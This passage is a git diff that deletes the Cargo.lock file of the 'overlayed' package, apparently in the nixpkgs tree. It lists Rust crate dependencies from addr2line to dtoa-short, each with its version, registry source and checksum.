diff --git a/pkgs/by-name/ov/overlayed/Cargo.lock b/pkgs/by-name/ov/overlayed/Cargo.lock
deleted file mode 100644
index 44e60ad4e328..000000000000
--- a/pkgs/by-name/ov/overlayed/Cargo.lock
+++ /dev/null
@@ -1,5952 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "addr2line"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e4503c46a5c0c7844e948c9a4d6acd9f50cccb4de1c48eb9e291ea17470c678"
-dependencies = [
- "gimli",
-]
-
-[[package]]
-name = "adler"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
-
-[[package]]
-name = "ahash"
-version = "0.7.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "891477e0c6a8957309ee5c45a6368af3ae14bb510732d2684ffa19af310920f9"
-dependencies = [
- "getrandom 0.2.15",
- "once_cell",
- "version_check",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "alloc-no-stdlib"
-version = "2.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3"
-
-[[package]]
-name = "alloc-stdlib"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece"
-dependencies = [
- "alloc-no-stdlib",
-]
-
-[[package]]
-name = "android-tzdata"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
-
-[[package]]
-name = "android_log-sys"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ecc8056bf6ab9892dcd53216c83d1597487d7dacac16c8df6b877d127df9937"
-
-[[package]]
-name = "android_logger"
-version = "0.14.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05b07e8e73d720a1f2e4b6014766e6039fd2e96a4fa44e2a78d0e1fa2ff49826"
-dependencies = [
- "android_log-sys",
- "env_filter",
- "log",
-]
-
-[[package]]
-name = "android_system_properties"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "anyhow"
-version = "1.0.86"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da"
-
-[[package]]
-name = "arbitrary"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d5a26814d8dcb93b0e5a0ff3c6d80a8843bafb21b39e8e18a6f05471870e110"
-dependencies = [
- "derive_arbitrary",
-]
-
-[[package]]
-name = "arrayvec"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50"
-
-[[package]]
-name = "async-broadcast"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20cd0e2e25ea8e5f7e9df04578dc6cf5c83577fd09b1a46aaf5c85e1c33f2a7e"
-dependencies = [
- "event-listener",
- "event-listener-strategy",
- "futures-core",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-channel"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "89b47800b0be77592da0afd425cc03468052844aff33b84e33cc696f64e77b6a"
-dependencies = [
- "concurrent-queue",
- "event-listener-strategy",
- "futures-core",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-executor"
-version = "1.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7ebdfa2ebdab6b1760375fa7d6f382b9f486eac35fc994625a00e89280bdbb7"
-dependencies = [
- "async-task",
- "concurrent-queue",
- "fastrand",
- "futures-lite",
- "slab",
-]
-
-[[package]]
-name = "async-fs"
-version = "2.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebcd09b382f40fcd159c2d695175b2ae620ffa5f3bd6f664131efff4e8b9e04a"
-dependencies = [
- "async-lock",
- "blocking",
- "futures-lite",
-]
-
-[[package]]
-name = "async-io"
-version = "2.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "444b0228950ee6501b3568d3c93bf1176a1fdbc3b758dcd9475046d30f4dc7e8"
-dependencies = [
- "async-lock",
- "cfg-if",
- "concurrent-queue",
- "futures-io",
- "futures-lite",
- "parking",
- "polling",
- "rustix",
- "slab",
- "tracing",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "async-lock"
-version = "3.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff6e472cdea888a4bd64f342f09b3f50e1886d32afe8df3d663c01140b811b18"
-dependencies = [
- "event-listener",
- "event-listener-strategy",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-process"
-version = "2.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8a07789659a4d385b79b18b9127fc27e1a59e1e89117c78c5ea3b806f016374"
-dependencies = [
- "async-channel",
- "async-io",
- "async-lock",
- "async-signal",
- "async-task",
- "blocking",
- "cfg-if",
- "event-listener",
- "futures-lite",
- "rustix",
- "tracing",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "async-recursion"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b43422f69d8ff38f95f1b2bb76517c91589a924d1559a0e935d7c8ce0274c11"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "async-signal"
-version = "0.2.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "637e00349800c0bdf8bfc21ebbc0b6524abea702b0da4168ac00d070d0c0b9f3"
-dependencies = [
- "async-io",
- "async-lock",
- "atomic-waker",
- "cfg-if",
- "futures-core",
- "futures-io",
- "rustix",
- "signal-hook-registry",
- "slab",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "async-task"
-version = "4.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de"
-
-[[package]]
-name = "async-trait"
-version = "0.1.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e0c28dcc82d7c8ead5cb13beb15405b57b8546e93215673ff8ca0349a028107"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "atk"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4af014b17dd80e8af9fa689b2d4a211ddba6eb583c1622f35d0cb543f6b17e4"
-dependencies = [
- "atk-sys",
- "glib",
- "libc",
-]
-
-[[package]]
-name = "atk-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "251e0b7d90e33e0ba930891a505a9a35ece37b2dd37a14f3ffc306c13b980009"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "atomic-waker"
-version = "1.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"
-
-[[package]]
-name = "autocfg"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
-
-[[package]]
-name = "backtrace"
-version = "0.3.73"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5cc23269a4f8976d0a4d2e7109211a419fe30e8d88d677cd60b6bc79c5732e0a"
-dependencies = [
- "addr2line",
- "cc",
- "cfg-if",
- "libc",
- "miniz_oxide",
- "object",
- "rustc-demangle",
-]
-
-[[package]]
-name = "base64"
-version = "0.21.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
-
-[[package]]
-name = "base64"
-version = "0.22.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "bitflags"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "bitvec"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c"
-dependencies = [
- "funty",
- "radium",
- "tap",
- "wyz",
-]
-
-[[package]]
-name = "block"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a"
-
-[[package]]
-name = "block-buffer"
-version = "0.10.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "block2"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2c132eebf10f5cad5289222520a4a058514204aed6d791f1cf4fe8088b82d15f"
-dependencies = [
- "objc2",
-]
-
-[[package]]
-name = "blocking"
-version = "1.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "703f41c54fc768e63e091340b424302bb1c29ef4aa0c7f10fe849dfb114d29ea"
-dependencies = [
- "async-channel",
- "async-task",
- "futures-io",
- "futures-lite",
- "piper",
-]
-
-[[package]]
-name = "borsh"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26d4d6dafc1a3bb54687538972158f07b2c948bc57d5890df22c0739098b3028"
-dependencies = [
- "borsh-derive",
- "cfg_aliases 0.1.1",
-]
-
-[[package]]
-name = "borsh-derive"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf4918709cc4dd777ad2b6303ed03cb37f3ca0ccede8c1b0d28ac6db8f4710e0"
-dependencies = [
- "once_cell",
- "proc-macro-crate 2.0.2",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
- "syn_derive",
-]
-
-[[package]]
-name = "brotli"
-version = "6.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74f7971dbd9326d58187408ab83117d8ac1bb9c17b085fdacd1cf2f598719b6b"
-dependencies = [
- "alloc-no-stdlib",
- "alloc-stdlib",
- "brotli-decompressor",
-]
-
-[[package]]
-name = "brotli-decompressor"
-version = "4.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a45bd2e4095a8b518033b128020dd4a55aab1c0a381ba4404a472630f4bc362"
-dependencies = [
- "alloc-no-stdlib",
- "alloc-stdlib",
-]
-
-[[package]]
-name = "bumpalo"
-version = "3.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
-
-[[package]]
-name = "byte-unit"
-version = "5.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33ac19bdf0b2665407c39d82dbc937e951e7e2001609f0fb32edd0af45a2d63e"
-dependencies = [
- "rust_decimal",
- "serde",
- "utf8-width",
-]
-
-[[package]]
-name = "bytecheck"
-version = "0.6.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23cdc57ce23ac53c931e88a43d06d070a6fd142f2617be5855eb75efc9beb1c2"
-dependencies = [
- "bytecheck_derive",
- "ptr_meta",
- "simdutf8",
-]
-
-[[package]]
-name = "bytecheck_derive"
-version = "0.6.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3db406d29fbcd95542e92559bed4d8ad92636d1ca8b3b72ede10b4bcc010e659"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "bytemuck"
-version = "1.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6fd4c6dcc3b0aea2f5c0b4b82c2b15fe39ddbc76041a310848f4706edf76bb31"
-
-[[package]]
-name = "byteorder"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
-
-[[package]]
-name = "byteorder-lite"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f1fe948ff07f4bd06c30984e69f5b4899c516a3ef74f34df92a2df2ab535495"
-
-[[package]]
-name = "bytes"
-version = "1.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8318a53db07bb3f8dca91a600466bdb3f2eaadeedfdbcf02e1accbad9271ba50"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "cairo-rs"
-version = "0.18.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ca26ef0159422fb77631dc9d17b102f253b876fe1586b03b803e63a309b4ee2"
-dependencies = [
- "bitflags 2.6.0",
- "cairo-sys-rs",
- "glib",
- "libc",
- "once_cell",
- "thiserror",
-]
-
-[[package]]
-name = "cairo-sys-rs"
-version = "0.18.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51"
-dependencies = [
- "glib-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "camino"
-version = "1.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "cargo-platform"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24b1f0365a6c6bb4020cd05806fd0d33c44d38046b8bd7f0e40814b9763cabfc"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "cargo_metadata"
-version = "0.18.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037"
-dependencies = [
- "camino",
- "cargo-platform",
- "semver",
- "serde",
- "serde_json",
- "thiserror",
-]
-
-[[package]]
-name = "cargo_toml"
-version = "0.17.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8a969e13a7589e9e3e4207e153bae624ade2b5622fb4684a4923b23ec3d57719"
-dependencies = [
- "serde",
- "toml 0.8.2",
-]
-
-[[package]]
-name = "cc"
-version = "1.1.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72db2f7947ecee9b03b510377e8bb9077afa27176fdbff55c51027e976fdcc48"
-dependencies = [
- "shlex",
-]
-
-[[package]]
-name = "cesu8"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c"
-
-[[package]]
-name = "cfb"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f"
-dependencies = [
- "byteorder",
- "fnv",
- "uuid",
-]
-
-[[package]]
-name = "cfg-expr"
-version = "0.15.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d067ad48b8650848b989a59a86c6c36a995d02d2bf778d45c3c5d57bc2718f02"
-dependencies = [
- "smallvec",
- "target-lexicon",
-]
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "cfg_aliases"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"
-
-[[package]]
-name = "cfg_aliases"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
-
-[[package]]
-name = "chrono"
-version = "0.4.38"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401"
-dependencies = [
- "android-tzdata",
- "iana-time-zone",
- "num-traits",
- "serde",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "cocoa"
-version = "0.25.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6140449f97a6e97f9511815c5632d84c8aacf8ac271ad77c559218161a1373c"
-dependencies = [
- "bitflags 1.3.2",
- "block",
- "cocoa-foundation 0.1.2",
- "core-foundation 0.9.4",
- "core-graphics 0.23.2",
- "foreign-types",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "cocoa"
-version = "0.26.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f79398230a6e2c08f5c9760610eb6924b52aa9e7950a619602baba59dcbbdbb2"
-dependencies = [
- "bitflags 2.6.0",
- "block",
- "cocoa-foundation 0.2.0",
- "core-foundation 0.10.0",
- "core-graphics 0.24.0",
- "foreign-types",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "cocoa-foundation"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8c6234cbb2e4c785b456c0644748b1ac416dd045799740356f8363dfe00c93f7"
-dependencies = [
- "bitflags 1.3.2",
- "block",
- "core-foundation 0.9.4",
- "core-graphics-types 0.1.3",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "cocoa-foundation"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e14045fb83be07b5acf1c0884b2180461635b433455fa35d1cd6f17f1450679d"
-dependencies = [
- "bitflags 2.6.0",
- "block",
- "core-foundation 0.10.0",
- "core-graphics-types 0.2.0",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "combine"
-version = "4.6.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd"
-dependencies = [
- "bytes",
- "memchr",
-]
-
-[[package]]
-name = "concurrent-queue"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973"
-dependencies = [
- "crossbeam-utils",
-]
-
-[[package]]
-name = "convert_case"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e"
-
-[[package]]
-name = "cookie"
-version = "0.18.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ddef33a339a91ea89fb53151bd0a4689cfce27055c291dfa69945475d22c747"
-dependencies = [
- "percent-encoding",
- "time",
- "version_check",
-]
-
-[[package]]
-name = "cookie_store"
-version = "0.21.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4934e6b7e8419148b6ef56950d277af8561060b56afd59e2aadf98b59fce6baa"
-dependencies = [
- "cookie",
- "idna 0.5.0",
- "log",
- "publicsuffix",
- "serde",
- "serde_derive",
- "serde_json",
- "time",
- "url",
-]
-
-[[package]]
-name = "core-foundation"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "core-foundation"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b55271e5c8c478ad3f38ad24ef34923091e0548492a266d19b3c0b4d82574c63"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.8.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
-
-[[package]]
-name = "core-graphics"
-version = "0.23.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c07782be35f9e1140080c6b96f0d44b739e2278479f64e02fdab4e32dfd8b081"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation 0.9.4",
- "core-graphics-types 0.1.3",
- "foreign-types",
- "libc",
-]
-
-[[package]]
-name = "core-graphics"
-version = "0.24.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa95a34622365fa5bbf40b20b75dba8dfa8c94c734aea8ac9a5ca38af14316f1"
-dependencies = [
- "bitflags 2.6.0",
- "core-foundation 0.10.0",
- "core-graphics-types 0.2.0",
- "foreign-types",
- "libc",
-]
-
-[[package]]
-name = "core-graphics-types"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation 0.9.4",
- "libc",
-]
-
-[[package]]
-name = "core-graphics-types"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d44a101f213f6c4cdc1853d4b78aef6db6bdfa3468798cc1d9912f4735013eb"
-dependencies = [
- "bitflags 2.6.0",
- "core-foundation 0.10.0",
- "libc",
-]
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "51e852e6dc9a5bed1fae92dd2375037bf2b768725bf3be87811edee3249d09ad"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "crc32fast"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33480d6946193aa8033910124896ca395333cae7e2d1113d1fef6c3272217df2"
-dependencies = [
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80"
-
-[[package]]
-name = "crypto-common"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
-dependencies = [
- "generic-array",
- "typenum",
-]
-
-[[package]]
-name = "cssparser"
-version = "0.27.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "754b69d351cdc2d8ee09ae203db831e005560fc6030da058f86ad60c92a9cb0a"
-dependencies = [
- "cssparser-macros",
- "dtoa-short",
- "itoa 0.4.8",
- "matches",
- "phf 0.8.0",
- "proc-macro2",
- "quote",
- "smallvec",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "cssparser-macros"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331"
-dependencies = [
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "ctor"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "edb49164822f3ee45b17acd4a208cfc1251410cf0cad9a833234c9890774dd9f"
-dependencies = [
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "darling"
-version = "0.20.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6f63b86c8a8826a49b8c21f08a2d07338eec8d900540f8630dc76284be802989"
-dependencies = [
- "darling_core",
- "darling_macro",
-]
-
-[[package]]
-name = "darling_core"
-version = "0.20.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95133861a8032aaea082871032f5815eb9e98cef03fa916ab4500513994df9e5"
-dependencies = [
- "fnv",
- "ident_case",
- "proc-macro2",
- "quote",
- "strsim",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "darling_macro"
-version = "0.20.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d336a2a514f6ccccaa3e09b02d41d35330c07ddf03a62165fcec10bb561c7806"
-dependencies = [
- "darling_core",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "data-encoding"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8566979429cf69b49a5c740c60791108e86440e8be149bbea4fe54d2c32d6e2"
-
-[[package]]
-name = "data-url"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c297a1c74b71ae29df00c3e22dd9534821d60eb9af5a0192823fa2acea70c2a"
-
-[[package]]
-name = "deranged"
-version = "0.3.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4"
-dependencies = [
- "powerfmt",
- "serde",
-]
-
-[[package]]
-name = "derivative"
-version = "2.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "derive_arbitrary"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "67e77553c4162a157adbf834ebae5b415acbecbeafc7a74b0e886657506a7611"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "derive_more"
-version = "0.99.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f33878137e4dafd7fa914ad4e259e18a4e8e532b9617a2d0150262bf53abfce"
-dependencies = [
- "convert_case",
- "proc-macro2",
- "quote",
- "rustc_version",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "digest"
-version = "0.10.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
-dependencies = [
- "block-buffer",
- "crypto-common",
-]
-
-[[package]]
-name = "dirs"
-version = "5.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225"
-dependencies = [
- "dirs-sys",
-]
-
-[[package]]
-name = "dirs-sys"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c"
-dependencies = [
- "libc",
- "option-ext",
- "redox_users",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "dispatch"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b"
-
-[[package]]
-name = "displaydoc"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "dlopen2"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9e1297103d2bbaea85724fcee6294c2d50b1081f9ad47d0f6f6f61eda65315a6"
-dependencies = [
- "dlopen2_derive",
- "libc",
- "once_cell",
- "winapi",
-]
-
-[[package]]
-name = "dlopen2_derive"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2b99bf03862d7f545ebc28ddd33a665b50865f4dfd84031a393823879bd4c54"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "dpi"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f25c0e292a7ca6d6498557ff1df68f32c99850012b6ea401cf8daf771f22ff53"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "dtoa"
-version = "1.0.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653"
-
-[[package]]
-name = "dtoa-short"
-version = "0.3.5"
